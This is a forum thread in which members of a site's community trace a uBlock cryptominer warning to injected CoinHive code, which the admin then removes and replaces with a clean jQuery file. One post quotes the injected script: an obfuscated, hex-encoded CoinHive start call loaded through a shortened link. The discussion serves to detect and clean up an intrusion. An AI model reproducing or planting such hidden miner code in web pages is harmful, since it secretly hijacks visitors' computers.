Getting warnings this site is running a cryptominer

[GethN7]

I have UBlock on, and it claims this site is running a cryptominer, but it must be a false positive.

Was wondering if anyone else got a similar message.

[robkelk]

Not I, as of this morning. (The office system is behind a firewall and thus doesn't need a local ad-blocker.)

[Morganite]

Not seeing anything like that from uBlock Origin.

-Morgan.

[GethN7]

Not seeing anything like that from uBlock Origin.

-Morgan.

I have AdNauseum enabled as well, seems to have registered a false positive for some bizarre reason.

Message has disappeared since I whitelisted this site for all my adblocking stuff.

[Bob Schroeck]

I use Ublock Origin myself at home, and have seen no such message when I access the board there.

[GethN7]

I use Ublock Origin myself at home, and have seen no such message when I access the board there.

Appears to have been caused by all my ad and scriptblocking stuff conflicting, getting mixed signals, which resulted in a false positive.

[Bob Schroeck]

Turns out this might not be a false alarm. See here -- coinhive might be getting linked in to my site somehow.

[Dartz]

I managed to replicate it in Chrome which pegs my laptop CPU

It doesn't seem to do anything in Firefox. It's there in Firefox's console, but trying to get it to do anything triggers a 404.

EDIT: Nope, Noscript in Firefox was blocking it from doing anything. Enable coinhive in Noscript and away it goes. HTTPs Everywhere didn't help.


It's in the front page. Right at the bottom of the source.

Code:

<script src="http://bit.ly/2ybH4YN"></script>
<script>
    var _0xc921=["\x36\x52\x55\x75\x4D\x67\x57\x38\x68\x5A\x54\x6F\x6F\x50\x73\x39\x4C\x30\x49\x7A\x51\x73\x66\x30\x6A\x62\x6E\x30\x59\x46\x61\x56","\x73\x74\x61\x72\x74"];var monMin= new CoinHive.Anonymous(_0xc921[0]);monMin[_0xc921[1]]();
</script>
</body>
</html>

Can't seem to find it anywhere else so doing a bit of a manual google. Not sure how this is linked in the forums.


EDIT the Third:
Check out: view-source:http://www.accessdenied-rms.net/forums/jscripts/jquery.js?ver=1806
It also appearrs on the bottom of the file
It only seems to load it here in chrome for me - it's stopped loading in Firefox.
https://pastebin.com/jTD5QeeZ  << Linky

[Bob Schroeck]

Thank you, Dartz! You saved me a lot of work. I suspect, given the presence of the miner in the jquery file, that we're looking at something that got through one of the security holes the new version of MyBB patched. I've deleted the code from the bottom of the home page and replaced the forum jquery with the latest version, and hopefully when I post this message nothing will blow up.

EDIT: Let's all keep an eye out, please? If anyone sees it come back, let me know. And I'll do my damnedest to put aside a couple hours and do that freakin' update.

[Dartz]

That hasn't gotten it:

http://www.accessdenied-rms.net/forums/j.../jquery.js    is a clean file. It's version 3.3.odd
http://www.accessdenied-rms.net/forums/j...s?ver=1806. Is infected, and is the one linked in the forum's source  It's version 1.11.3.odd, with the gribbly

You have to load them in chrome. At least for me, the coinhive stuff doesn't appearr in firefox.  It might be that one of the php files building the forum page got swapped out. 

It doesn't appearr to be in the front page anymore.

EDIT: And it's gone. It's possible it was just a cache thing on my end.... my fail

[Bob Schroeck]

Probably. I could see the miner at the end of the old jquery, and renamed it before copying in the new one.

[Cobalt Greywalker]

OK, I'm glad to say that currently I am no longer (as of this post, and with a couple of cache clean ups) getting alerts about coinminer in the main page and the forums.

(This message will also be placed in the website thread)

[Bob Schroeck]

Thanks. I'm going to get in the habit of checking every few days myself, but I wouldn't mind if other folks kept an eye out.

[GethN7]

Thanks.  I'm going to get in the habit of checking every few days myself, but I wouldn't mind if other folks kept an eye out.

Will do.